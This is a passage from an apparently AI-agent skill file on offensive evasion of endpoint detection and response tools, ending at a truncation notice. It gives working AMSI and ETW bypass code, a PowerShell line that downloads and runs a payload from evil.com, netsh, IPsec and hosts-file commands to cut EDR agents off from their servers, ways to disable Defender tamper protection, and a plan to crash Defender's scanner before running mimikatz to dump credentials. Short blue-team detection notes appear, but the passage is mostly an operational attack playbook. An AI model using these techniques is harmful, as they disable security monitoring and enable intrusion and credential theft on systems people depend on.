  4. Overwrite the original function pointer in the writable section to point to the shellcode/stub. This typically requires PROCESS_VM_WRITE permissions.
  5. Execution is diverted when the legitimate code path calls the hijacked function pointer.
• Example: The blog post details hijacking combase.dll!__guard_check_icall_fptr.
• Advantages:
  • Can avoid direct calls to commonly monitored APIs used in other injection techniques (like CreateRemoteThread, QueueUserAPC).
  • If the target pointer resides in memory that is already writable, it may avoid the need for VirtualProtectEx, reducing noise.
• Detection/Context: While this bypasses direct hooks on APIs like VirtualProtect or CreateRemoteThread, EDRs may still detect the initial WriteProcessMemory to the .data section or correlate the unusual execution flow originating from a data segment via kernel callbacks or ETW.

Hookchain

• Resolve System Service Number
• Map critical functions
  • NtAllocateReserveObject
  • NtAllocateVirtualMemory
  • NtQueryInformationProcess
  • NtProtectVirtualMemory
  • NtReadVritualMemory
  • NtWriteVirtualMemory
• Create a relationship table with SSN + Custom stub function of critical ntdll.dll and hooked functions
• Implant IAT hook at all DLL subsystems that points to ntdll.dll critical and hooked functions(DLL pre-loading)
• Use Indirect system call + mapped critical functions and modification of IAT of key DLL functions before call to ntdll.dll to bypass EDR

ETW and AMSI Evasion

ETW Patching

• Patch Event Tracing for Windows functionality
• Prevents telemetry from being sent to the EDR
• Targets ETW provider registration or logging mechanisms

[!CAUTION] Defender engine 1.417  re‑hooks common byte patches within ~50 ms. Prefer callback filtering (e.g., wrapping EtwEventWriteFull) or the patch‑less SharpBlock fork.

ETW Evasion Techniques

• Significant delays among risky events: alloc, write, exec - "Driploader" style
• ntdll!EtwEventWrite patching
• Disabling tracing via ntdll!EtwEventUnregister

AMSI Bypass/Patching

• Bypasses Anti-Malware Scan Interface
• Patches AMSI functionality in memory
• Prevents script scanning before execution
• Defender now ships dynamic signature VirTool:Win64/HBPAmsibyp.A that fires on known NOP‑sled prologues. A stealthier option is to swap to a COM‑visible PowerShell runspace instead of patching AmsiScanBuffer.

AMSI and ETW Evasion Implementation

• AMSI (amsi.dll!AmsiScanBuffer):
  • Patch the function prologue
  • Alternatively, increment AMSI magic value deeper in code
• ETW (ntdll.dll!NtTraceEvent and ntdll.NtTraceControl):
  • Use patchless strategy for evasion
• Consider tools like SharpBlock

Modern AMSI Bypass Techniques

Classic AmsiScanBuffer patching (e.g., overwriting with ret or NOP sled) is now detected by Defender's VirTool:Win64/HBPAmsibyp.A signature and engine 1.425.x uses CFG/XFG checks to validate function integrity.

Patchless AMSI bypass (VEH / vtable)

• VEH-based bypass: Register vectored exception handlers to set hardware breakpoints on amsi.dll!AmsiScanBuffer and re-route execution to a benign stub without byte-patching (a.k.a. VEH²). This avoids obvious prologue modifications.
• COM/vtable approach: Overwrite IAmsiStream vtable entries or CLSID pointers used during AmsiInitialize so the provider cannot be created and AMSI calls short-circuit — again without altering AmsiScanBuffer bytes.
• Defender considerations: 2024–2025 engines re-hook common byte patches rapidly; patchless flows reduce simple signature hits but still leave behavioral traces.
• Blue detections:
  • Monitor AddVectoredExceptionHandler usage paired with debug register changes (CONTEXT.Dr0–Dr7) shortly before AMSI invocations.
  • Hunt for unusual call stacks entering AmsiScanBuffer that immediately return, and COM activation failures around AMSI provider creation.
  • ETW/PowerShell: alert on script engines loading amsi.dll followed by VEH registration and memory permission flips.

1. COM VTable Hooking Method

Instead of patching AmsiScanBuffer, hook the IAmsiStream COM interface:

// Locate IAmsiStream COM object in amsi.dll
typedef interface IAmsiStream IAmsiStream;

HRESULT HookAmsiStream() {
    // Get amsi.dll base
    HMODULE hAmsi = GetModuleHandleA("amsi.dll");
    if (!hAmsi) return E_FAIL;

    // Locate IAmsiStream vtable (varies by Windows version)
    // Example: scan for known vtable patterns
    LPVOID** ppVTable = /* find IAmsiStream instance */;

    // Hook QueryInterface or GetAttribute methods
    DWORD oldProtect;
    VirtualProtect(ppVTable, sizeof(LPVOID) * 10, PAGE_READWRITE, &oldProtect);

    // Replace function pointer with benign stub
    ppVTable[0] = (LPVOID*)MyQueryInterface;  // Return E_NOTIMPL

    VirtualProtect(ppVTable, sizeof(LPVOID) * 10, oldProtect, &oldProtect);
    return S_OK;
}

HRESULT STDMETHODCALLTYPE MyQueryInterface(IUnknown* This, REFIID riid, void** ppv) {
    // Return E_NOTIMPL to skip scanning
    return E_NOTIMPL;
}

2. ETW Provider Registration Manipulation

Modify ETW provider registration to disable telemetry without patching:

// Manipulate ETW provider via TI (Threat Intelligence) session
#include <evntrace.h>

BOOL DisableETWProvider(LPCGUID ProviderGuid) {
    EVENT_TRACE_PROPERTIES props = {0};
    props.Wnode.BufferSize = sizeof(EVENT_TRACE_PROPERTIES);
    props.Wnode.Guid = *ProviderGuid;
    props.Wnode.ClientContext = 1;
    props.Wnode.Flags = WNODE_FLAG_TRACED_GUID;
    props.LogFileMode = EVENT_TRACE_REAL_TIME_MODE;

    // Disable the provider
    return ControlTraceA(0, "EventLog-Application", &props, EVENT_TRACE_CONTROL_STOP) == ERROR_SUCCESS;
}

// Target Microsoft-Windows-PowerShell provider
GUID PowerShellProvider = { 0xA0C1853B, 0x5C40, 0x4B15,
    { 0x8B, 0x66, 0xD7, 0x4F, 0x9C, 0x91, 0xCC, 0x4C } };
DisableETWProvider(&PowerShellProvider);

3. AMSI Context Manipulation

Forge the AMSI context session to bypass scanning:

// Structure definitions (reverse-engineered)
typedef struct _AMSI_CONTEXT {
    DWORD Signature;      // 'AMSI' (0x49534D41)
    PVOID Session;
    // ... other fields
} AMSI_CONTEXT, *PAMSI_CONTEXT;

BOOL BypassAmsiContext(PAMSI_CONTEXT pContext) {
    if (pContext->Signature != 0x49534D41) return FALSE;

    // Corrupt the signature to invalidate context
    DWORD oldProtect;
    VirtualProtect(pContext, sizeof(DWORD), PAGE_READWRITE, &oldProtect);
    pContext->Signature = 0;  // Invalidate
    VirtualProtect(pContext, sizeof(DWORD), oldProtect, &oldProtect);

    return TRUE;
}

4. PowerShell Runspace Alternative (Patchless)

Use a COM-visible PowerShell runspace that bypasses AMSI entirely:

using System.Management.Automation;
using System.Management.Automation.Runspaces;

// Create runspace without AMSI
var initialSessionState = InitialSessionState.CreateDefault();
initialSessionState.LanguageMode = PSLanguageMode.FullLanguage;

// This runspace has no AMSI hooks
var runspace = RunspaceFactory.CreateRunspace(initialSessionState);
runspace.Open();

var pipeline = runspace.CreatePipeline();
pipeline.Commands.AddScript("IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')");
pipeline.Invoke();

5. Memory-Only AMSI Bypass (No Disk)

Load a minimal AMSI bypass directly in memory without patching:

# Reflection-based bypass (2025 variant)
$a = [Ref].Assembly.GetTypes()
ForEach($b in $a) {
    if ($b.Name -like "*iUtils") {
        $c = $b.GetFields('NonPublic,Static')
        ForEach($d in $c) {
            if ($d.Name -like "*Context") {
                $d.SetValue($null, 0)
            }
        }
    }
}

Detection Evasion Notes:

• COM VTable Method: Bypasses signature-based detection; harder to detect than direct patching
• ETW Provider Manipulation: Requires admin privileges but cleaner than hooking
• Context Corruption: Minimal memory writes; low detection surface
• Runspace Method: No patching required; entirely legitimate PowerShell usage
• Reflection Method: PowerShell-only; works in constrained language mode bypass scenarios

Blue Team Detection:

Monitor for:

• Unusual COM interface access patterns to amsi.dll
• ETW provider manipulation via ControlTrace API
• PowerShell runspace creation with FullLanguage mode in restricted environments
• Reflection access to System.Management.Automation internal structures

Platform Realities & Defender Hunts

Windows 11

• 24H2+ Security Baseline
  • Hardware‑Enforced Stack Protection (CET/Shadow Stack) breaks naïve call‑stack spoofing; evasions must maintain valid shadow stacks.
  • LSASS protection (RunAsPPL) is on by default on recent fresh installs; expect minidump blockers. Favor live‑off‑land telemetry for detection/response.
  • HVCI/KDP/Secure Launch raise the bar on BYOVD and protected pages. Hunt for policy flips and failed driver loads.
• Quarterly Vulnerable Driver Blocklist
  • DriverSiPolicy.p7b enabled by default on Windows 11 22H2+
  • Automatic updates every Patch Tuesday via Windows Update
  • Blocks known vulnerable drivers before they can load
  • BYOVD attacks now often require two-stage driver chains
  • Monitor for policy tampering: HKLM\SYSTEM\CurrentControlSet\Control\CI\Policy
• Kernel Data Protection (KDP)
  • Protects critical kernel structures and EDR code pages
  • Makes them read-only even to kernel-mode drivers
  • Requires HVCI to be enabled
  • Significantly raises bar for kernel-mode EDR killers
  • Verify status: Get-ComputerInfo | Select CsDeviceGuardSecurityServicesRunning
• Confidential Computing Support
  • Intel TDX (Trust Domain Extensions) for VM-level isolation
  • AMD SEV-SNP (Secure Encrypted Virtualization) support
  • Protects guest VMs from hypervisor inspection
  • EDR visibility limited in confidential VMs
  • Requires specialized attestation and monitoring approaches

macOS

• Use EndpointSecurity (ES) events with unified logs; monitor syspolicyd Gatekeeper verdicts and TCC changes.
• macOS Sequoia (15) enhances XProtect and Background Task Management
• Notarization requirements increasingly strict for all distributed software

Linux/Kubernetes

• Hunt eBPF program/map churn and sensor detaches; sidecars outside node‑agent PID filters; attempts to access runtime sockets.
• eBPF-based EDR becoming standard (Falco, Tetragon, Cilium)
• Container runtime security monitoring essential
• Service mesh observability integration (Istio, Linkerd)

Network-Based EDR Silencing

These techniques focus on disrupting the EDR agent's communication with its management servers, effectively blinding it without directly tampering with the agent process itself.

Sinkholing by Secondary IP Addresses

• Concept: Assign secondary IP addresses to local network interfaces that match the IP addresses of the EDR's communication endpoints (C2 servers, telemetry collectors).
• Mechanism: When the EDR agent attempts to connect to its server IP, the network stack routes the traffic to the local interface instead, effectively dropping the connection.
• Implementation:
  • Identify EDR communication IPs (e.g., using network monitoring).
  • Manually assign IPs via Network Adapter Properties > IPv4 > Advanced > IP Settings (requires static IP configuration, not DHCP).
  • Use PowerShell: New-NetIPAddress -InterfaceAlias "Ethernet" -IPAddress <EDR_IP> -PrefixLength 32
  • Use netsh: netsh interface ipv4 add address "Ethernet" <EDR_IP> 255.255.255.255
  • Scripting: Tools like IPMute can monitor process network connections and dynamically add remote IPs as secondary local IPs.
• Persistence/Detection:
  • Static IP settings are stored in HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{GUID}\IPAddress.
  • Changes made via PowerShell/GUI/netsh modify the registry via wmiprvse.exe/DllHost.exe/netsh.exe respectively.
  • A device configuration profile that sets VpnTrafficFilterList will override any locally created IPsec rules.
  • Direct registry edits require an interface disable/enable cycle to take effect.

[!CAUTION] Some EDR/XDR products flag sudden /32 self‑IP assignments (host routes) created with New‑NetIPAddress as potential IP spoofing. Expect alerts on repeated adds/removes or tight timing around agent network failures. Prefer /31 pairs or upstream firewall/DNAT approaches where possible.

IPSec Filter Rules

• Concept: Leverage Windows IPsec policies to create rules that block traffic to specific EDR IPs, IP ranges, or even domains, even without a full IPsec deployment.

• Mechanism: IPsec rules operate at a low level and can filter traffic based on source/destination addresses and protocols. Rules can block specific connections required by the EDR.

• Implementation (using netsh):

  # Create a blocking policy
  netsh ipsec static add policy name=BlockPolicy description="Block EDR Comms"
  netsh ipsec static set policy name=BlockPolicy assign=y
  
  # Create a filter list
  netsh ipsec static add filterlist name=BlockFilterList
  
  # Add filters (examples)
  # Block specific IP
  netsh ipsec static add filter filterlist=BlockFilterList srcaddr=me dstaddr=<EDR_IP> protocol=any description="Block EDR IP"
  # Block subnet
  # netsh ipsec static add filter filterlist=BlockFilterList srcaddr=me dstaddr=<EDR_Subnet> dstmask=<Subnet_Mask> protocol=any description="Block EDR Subnet"
  # Block domain (resolves IPs at rule creation time)
  # netsh ipsec static add filter filterlist=BlockFilterList srcaddr=me dstaddr=<EDR_Domain.com> protocol=any description="Block EDR Domain"
  
  # Create a blocking action
  netsh ipsec static add filteraction name=BlockFilterAction action=block
  
  # Create the rule linking the filter list and action to the policy
  netsh ipsec static add rule name=BlockRule policy=BlockPolicy filterlist=BlockFilterList filteraction=BlockFilterAction description="IPSec Block Rule for EDR"

• Persistence/Detection:

  • IPsec policy configuration is stored in the registry under HKLM\Software\Policies\Microsoft\Windows\IPSec\Policy\Local\.
  • Rule creation via netsh writes registry values via netsh.exe. GUI edits use mmc.exe.
  • These registry keys can be monitored or potentially protected.

• Cleanup:

  netsh ipsec static delete policy name=BlockPolicy

DNS Sinkholing

Hosts File Modification

• Concept: Add entries to the system's hosts file (C:\Windows\System32\drivers\etc\hosts) mapping EDR domain names to 127.0.0.1 or 0.0.0.0.
• Mechanism: When the EDR agent performs a DNS lookup for its server, the hosts file takes precedence, resolving the domain to localhost and preventing the actual connection.
• Limitations:
  • Does not affect existing established connections.
  • DNS resolutions might be cached within the EDR process itself.
  • Requires clearing DNS cache (ipconfig /flushdns) and potentially waiting or restarting the EDR process/system.
  • Ineffective if the EDR uses hardcoded IP addresses.

Changing DNS Servers

• Concept: Modify the system's DNS server settings to point to an attacker-controlled DNS server or a public DNS filtering service (like OpenDNS) configured to block EDR domains.
• Mechanism: All DNS lookups from the system (including the EDR) are routed through the malicious/filtering DNS server, which returns incorrect or blocked responses for EDR domains.
• Limitations:
  • Same caching issues as hosts file modification apply.
  • Requires administrative privileges to change system-wide DNS settings.
  • Easily detectable if network settings are monitored.

Agent Tampering & Tamper‑Protection Bypasses

• Microsoft Defender's Tamper Protection (and similar vendor self‑protection) can be disabled by
  • Launching a TrustedInstaller‑child process and modifying service registry keys (e.g., sc config Sense start= disabled).
  • Changing ACLs on WdFilter or SenseIR registry values, then rebooting so the filter driver never loads.
• Many commercial EDRs expose self‑protection flags via WMI namespaces; clearing the flag allows the agent service to be stopped or deleted.
• Detection guidance: alert on writes to antivirus/EDR service parameters or attempted driver unloads while the service is running.

Cloud‑Side XDR Telemetry Throttling & Poisoning

• Local evasion is incomplete: vendors replay queued events when connectivity returns.
• Attackers therefore:
  • Throttle upload intervals (e.g., SenseUploadFrequency) to several hours.
  • Inject thousands of benign events (mass process creations) to drown anomaly‑detection models (“telemetry poisoning”).
• Blue teams should monitor for sudden policy flips or extreme event‑volume spikes with low entropy.

Scanning Engine DoS Attacks

A technique to disable EDRs by exploiting memory corruption vulnerabilities in their file scanning engines, particularly effective against Microsoft Defender.

Concept:

• Trigger memory corruption bugs in EDR scanning engines
• Crashes the main EDR process when malicious files are scanned
• Can be deployed alongside initial access payloads or before credential dumping

Microsoft Defender Targeting (mpengine.dll):

File-based DoS Vectors:

# Create malicious files that crash Defender during scanning
# PE files with specific corruption patterns
# Encrypted Office documents with malformed saltSize values
# JavaScript files that trigger emulation crashes
# Mach-O files that cause Lua script execution errors

Delivery Methods:

<!-- Web-based delivery via download -->
<a href="malicious.pdf" download>Download PDF</a>
<!-- Crashes Defender when Real-time Protection scans the file -->

# SMB share delivery for lateral movement
copy crash_defender.docx \\target\share\documents\
# Defender crashes when scanning uploaded file
mimikatz.exe privilege::debug sekurlsa::logonpasswords

Email attachment delivery:

# Email malicious files that crash Defender during email scanning
# Particularly effective against organizations with Defender for Office 365
# Timing allows subsequent payloads to execute without detection

Attack Sequence for Initial Access:

1. Deliver crash file alongside main payload
2. Crash file triggers when Defender scans downloads folder
3. Main EDR process (MsMpEng.exe) crashes and restarts
4. Execute main payload during restart window
5. Subsequent malicious activity may go undetected

Attack Sequence for Internal Movement:

1. Upload crash file to network share before credential dumping
2. Wait for Defender to scan and crash
3. Execute credential dumping tools (Mimikatz, etc.)
4. EDR restart may not catch the dumping activity

Limitations:

• Requires specific file format knowledge
• Some crashes only occur with PageHeap enabled
• Microsoft may quietly patch vulnerabilities
• Defender restarts automatically, limiting window
• Other EDR vendors may have different scanning engines

Defensive Considerations:

• Monitor for unexpected MsMpEng.exe crashes
• Implement scanning engin

Truncated - read the full file at https://github.com/DCx7C5/ai-marketplace/blob/a91f1293287ffa9f4f1b8f486cd6e835a1568c84/skills/offensive-edr-evasion/SKILL.md.